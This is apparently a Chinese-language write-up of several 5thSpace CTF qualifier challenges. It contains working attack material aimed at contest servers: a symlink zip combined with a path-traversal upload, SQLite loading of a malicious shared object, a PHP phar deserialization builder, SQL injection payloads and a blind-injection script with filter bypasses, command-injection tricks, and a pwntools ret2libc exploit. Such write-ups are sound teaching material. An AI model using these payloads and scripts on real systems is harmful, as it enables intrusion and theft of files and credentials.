5thSpace Partly Writeup | QUALS

MISC

sakana_reveage

看源码:

            #no symlink for it 
            for zip_info in zipfile.ZipFile(zip_file).infolist():
                if zip_info.external_attr >> 16:
                    print("Hacker!!!")
                    return

所以我们可以选择发送输入。如果存在符号链接,则会打印“hacker”并返回,因此我们无法将如下所示的 zip 文件上传到此函数:

ln -s /flag symlink_to_flag.link 
zip --symlink flag.zip symlink_to_flag.link

binascii.Error被抛出时,我们并没有返回,而是继续运行该函数。这导致尝试提取/tmp/sakanas.zip

def sakana_upload():
    sakana_file_name = input("Name for your sakana:")

    encoded_sakana_content = input("Base64-encoded sakana:")
    try:
        decode_content = base64.b64decode(encoded_sakana_content)
    except binascii.Error:
        print("Error base64!")
        return

    if decode_content == b"":
        print("Empty file!")
        return

    if not decode_content.startswith(b"sakana"):
        print("Only sakana files are allowed!")
        return

    with open(os.path.join(SAKANA_PATH, sakana_file_name), "wb") as sakana_file_handle:
        sakana_file_handle.write(decode_content)

在这里我们看到文件名容易受到目录遍历攻击。这意味着我们也可以写入../../../tmp/sakanas.zip. 所以也许我们可以通过将文件上传到这个路径来读取标志,然后binascii.ErrorUpload sakanas of Zip函数中触发 a 时将其解压缩。

此外文件内容base64解码开头必须是sakana,所以创建一个内容为sakana的sakana文件

cat flag.zip >> sakana 
base64 sakana
#c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA

然后进行上传,再触发解压:

┌──(kali㉿kali)-[~]
└─$  nc 47.93.30.67 57427

   _____      /\/|        /\/|              _____ _    ___       ______ 
  / ____|    |/\/ |      |/\/              / ____| |  / _ \     |  ____|
 | (___   __ _  | | ____ _   _ __   __ _  | (___ | |_| | | |_ __| |__   
  \___ \ / _` | | |/ / _` | | '_ \ / _` |  \___ \| __| | | | '__|  __|  
  ____) | (_| | |   < (_| | | | | | (_| |  ____) | |_| |_| | |  | |____ 
 |_____/ \__,_| |_|\_\__,_| |_| |_|\__,_| |_____/ \__|\___/|_|  |______|

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 1
Name for your sakana:../../../tmp/sakanas.zip.zip
Base64-encoded sakana:c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 4
Base64-encoded zip of sakanas:a
Error base64!
[/tmp/sakanas.zip]
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
warning [/tmp/sakanas.zip.zip]:  6 extra bytes at beginning or within zipfile
  (attempting to process anyway)
Zip successfully uploaded and extracted

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 2
0 -> symlink_to_flag.link

Select num which sakana to download
>> 0
Here is your sakana file(base64ed)
ZmxhZ3s2U0FVdDJ1VzV2blNKTjZ1VHhhMkpNWVdnUUNhSEZIVn0=

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

image-20220919180324-caoedru

5_Misc_m@sTeR_0f

这道题进入之后是一个

image

sqlite 查询的页面,经过测试后发现过滤了许多的内容,由于这里放在了 misc,考虑是一些cve,不过也没有找到。

后来想到了利用写文件写入恶意so文件,然后利用

这里首先生成一个恶意的 so 文件

b5a5357b23addfbbb9bb72dee037481

利用sqlite的writefile将恶意so文件写入,这里因为 . 被过滤文件名需要套一个hex,文件内容我们也用 hex 写入即可

image

然后load一下即可执行我们写入的命令,load没过大小写,估计是非预期吧

image

5_简单的Base

666c61677b57656c636f6d655f686572657d

hex解码即可

image

web

5_web_BaliYun

dirsearch扫描后 www.zip 源码泄露 发现是phar反序列化

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }

此处存在任意文件读取漏洞,打眼一看看到 file_exit,phar没跑了,构造 phar 文件

<?php
class upload{
    public $filename = "/flag";
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new upload();
$phar -> setMetadata($object);
$phar -> stopBuffering();

web1

5_easylogin

登录界面 发现存在宽字节注入漏洞

web2

尝试进行注入,双写绕过union select,发现数据库里没东西

直接利用union任意修改密码的漏洞 尝试修改密码登录

username=admin%df'uniunionon(selselectect(1),2,0x3936653739323138393635656237326339326135343964643561333330313132)#&password=111111

web22

5_web_Eeeeasy_SQL

http://39.107.76.202:64040/api/ 发现存在目录遍历漏洞,看到 flag.php,直接访问回显

image

尝试登录,发现可以通过注释引号的方式闭合

image

但是闭合后是一个跳转,并不是什么拥有特征的界面,这里过滤了非常多的注入相关的内容,selectsubstrleftmid*-+|,空格 等等,但是大于小于号没有过滤,猜测这里可能还是存在盲注。但是没有发现怎样进行盲注,sleep 等函数也被禁用了,不能延时也没有回显。

后续在测试的时候发现,这里如果能够有返回为false的话就会回显 msg,经过测试后发现,我们可以构造条件语句进行盲注,空格可以用 #%0a 绕过

or(case#%0awhen#%0ausername>0x60#%0athen#%0a1#%0aelse#%0apow(~0,17)#%0aend)#&

image

image

这样的话我们就开可以编写脚本进行盲注,这里要注意加上 allow_redirects=False

import requests

url = "http://39.106.143.69:22993/api/api.php?command=login "

flag = ""
char = ""
for _ in range(100):
 for i in range(30,127):

  data = {
  "username":"1\\",
  "password":"or(case when password>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  }
  #绕过空格
  data['password'] = data['password'].replace(" ","#\n")

  res = requests.post(url=url,data=data,allow_redirects=False)

  if 'success' not in res.text:
   flag+=chr(i-1)
   char+=hex(i-1)[2:]
   print(flag)
   break

这样获取到的 ADMIM@666 和 AAAA@XXXXZZZ 的那个用户名和密码并登录不上去。

这里尝试了一下 hex,因为之前做过类似的, hex 会从后向前进行读取,应该算是个非预期了233

import requests

url = "http://39.106.143.69:22993/api/api.php?command=login "

flag = ""
char = ""
for _ in range(100):
 for i in range(30,127):

  data = {
  "username":"1\\",
#  "password":"or(case when hex(username)>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  "password":"or(case when hex(password)>{} then 1 else pow(~0,17) end)#".format("0x"+char+hex(i)[2:])
  }
  #绕过空格
  data['password'] = data['password'].replace(" ","#\n")

  res = requests.post(url=url,data=data,allow_redirects=False)

  if 'success' not in res.text:
   flag+=chr(i-1)
   char+=hex(i-1)[2:]
   print(flag)
   break

注出来之后解码,登录即可

image

username=Flag_Account&password=G1ve_Y0u_@_K3y_70_937_f14g!!!

登陆后访问 /api/flag.php,一个简单的文件包含 /proc/self/root 即可绕过

5_web_letmeguess_1

弱密码 admin amdin123 登录

发现 ; 被过滤,%0a ,空格被过 ${IFS},文件名被过,通配符

image

简单绕一绕就好了

image

PWN

5_1H3ll0Rop

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import * 
context.os = 'linux'
context.log_level = "debug"
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.arch = 'amd64'
p = remote('39.106.138.251',37817)
#p = process('./H3ll0Rop')
libc = ELF('./libc-2.23.so')
elf = ELF('./H3ll0Rop')
rdi = 0x0000000000400753
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pl = b'a'*0x68 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#gdb.attach(p)
p.sendlineafter('\n\n',pl)
ru('\n\n')
libcbase = uu64(r(6))-libc.sym['puts']
leak('libcbase',libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase +0x000000000018ce57
pl = b'a'*0x68 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter('\n\n',pl)
itr()

ret2libc

RE

5_re2

ghidra打开,是一道迷宫题,迷宫为三个15*15的正方形,将三个迷宫路径连接得到flag 。在ida里导出地图数据

写脚本把map还原出来

#include <bits/stdc++.h>
int a1[15][15] ;
int a2[15][15] ;
int a3[15][15] ;
int a[700] = {
        1, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    1, 0, 3, 1, 1, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 0, 0, 0, 1, 0, 
    0, 0, 0, 0, 0, 1, 1, 0, 
    0, 0, 0, 0, 0, 1, 1, 0, 
    0, 0, 0, 0, 1, 1, 0, 1, 
    1, 0, 0, 0, 0, 1, 1, 1, 
    1, 0, 0, 1, 1, 0, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    0, 0, 1, 1, 0, 1, 1, 0, 
    0, 0, 0, 0, 0, 0, 1, 0, 
    0, 1, 1, 0, 1, 1, 0, 0, 
    0, 0, 0, 1, 1, 1, 1, 0, 
    1, 1, 0, 1, 1, 0, 0, 0, 
    0, 0, 1, 0, 0, 1, 0, 1, 
    1, 0, 1, 1, 0, 0, 0, 0, 
    0, 1, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 1, 1, 1, 1, 0, 
    1, 0, 1, 1, 0, 1, 1, 0, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 0, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 4, 0, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 1, 1, 1, 1, 0, 3, 1, 
    1, 1, 0, 0, 0, 0, 0, 1, 
    1, 1, 1, 1, 0, 0, 0, 0, 
    1, 0, 0, 0, 0, 0, 1, 1, 
    1, 1, 1, 0, 0, 0, 0, 1, 
    0, 0, 0, 0, 0, 1, 1, 1, 
    1, 1, 0, 0, 0, 0, 1, 1, 
    1, 1, 0, 0, 1, 1, 1, 1, 
    1, 0, 0, 0, 0, 0, 0, 0, 
    1, 0, 0, 1, 1, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 1, 
    0, 0, 1, 1, 1, 1, 1, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 1, 1, 1, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 0, 
    1, 1, 1, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 4, 0, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 1, 1, 1, 1, 1, 1, 
    1, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 3, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 1, 0, 1, 1, 1, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 1, 1, 0, 1, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 1, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    0, 1, 0, 0, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 1, 1, 
    1, 0, 0, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 1, 1, 1, 1, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 1, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 1, 1, 1, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 1, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 4, 0, 0
};
void makee1(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a1[i][j]);
        }
        printf("\n");
    }
}
void makee2(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a2[i][j]);
        }
        printf("\n");
    }
}
void makee3(){
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            printf("%d ",a3[i][j]);
        }
        printf("\n");
    }
}
int main(){
​
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a1[i][j] = a[i * 15 + j];
        }
    }
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a2[i][j] = a[0xe1 + i * 15 + j];
        }
    }
    for(int i = 0;i<=14;i++){
        for(int j = 0;j<=14;j++){
            a3[i][j] = a[0xe1 + 0xe1 + i * 15 + j];
        }
    }
    makee1();
    printf("\n\n");
    makee2();
    printf("\n\n"); 
    makee3();
    return 0;
}

走迷宫得到路径:

image

dddddssdsdddsssaassssdddsdddsssdddsssdssddssddwddssssssdddssssdddss,md5 加密包裹得到flag